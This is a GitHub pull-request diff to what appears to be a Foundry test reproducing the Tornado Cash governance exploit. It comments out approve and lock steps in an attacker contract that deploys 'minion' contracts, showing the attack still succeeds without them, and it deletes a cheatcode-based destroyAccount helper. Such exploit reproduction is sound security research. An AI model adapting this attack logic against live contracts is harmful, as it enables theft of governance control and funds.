Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion lib/solmate
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ contract Attacker1Contract {

function deployMultipleContracts(uint256 amount) external {
address newMinion;
console2.log("MINIONS WON'T APPROVE AND LOCK ZERO TORN");
for (uint256 i = 0; i < amount;) {
newMinion = address(new Attacker1Minion(msg.sender));
console2.log("Deploying and preparing minion #%s at address: %s", i + 1, newMinion);
Expand All @@ -33,9 +34,10 @@ contract Attacker1Contract {

// The following steps were performed by the attacker but are not necessary for the attack
// The attack works if the next lines are commented.
tornToken.transferFrom(msg.sender, newMinion, 0);
Attacker1Minion(newMinion).attackTornado(Attacker1Minion.AttackInstruction.APPROVE);
Attacker1Minion(newMinion).attackTornado(Attacker1Minion.AttackInstruction.LOCK);
// ON THIS BRANCH WE COMMENT THIS LINES TO SHOW HOW THE ATTACK SUCCEEDS ANYWAYS
// tornToken.transferFrom(msg.sender, newMinion, 0);
// Attacker1Minion(newMinion).attackTornado(Attacker1Minion.AttackInstruction.APPROVE);
// Attacker1Minion(newMinion).attackTornado(Attacker1Minion.AttackInstruction.LOCK);

unchecked {
++i;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -239,21 +239,4 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
updateBalanceTracker(ATTACKER1);
updateBalanceTracker(ATTACKER2);
}

// New cheatcode created by @joaquinlpereyra @Coinspect merged in foundry at
// https://github.com/foundry-rs/foundry/pull/5033

// destroys an account inmediatly, sending the balance to beneficiary
// destroying means: balance will be zero, code will be empty, nonce will be zero
// similar to selfdestruct but not identical: selfdestruct destroys code and nonce
// only after tx ends, this will run inmediatly
function destroyAccount(address who, address beneficiary) internal virtual {
uint256 currBalance = who.balance;
vm.etch(who, abi.encode());
vm.deal(who, 0);
vm.resetNonce(who);

uint256 beneficiaryBalance = beneficiary.balance;
vm.deal(beneficiary, currBalance + beneficiaryBalance);
}
}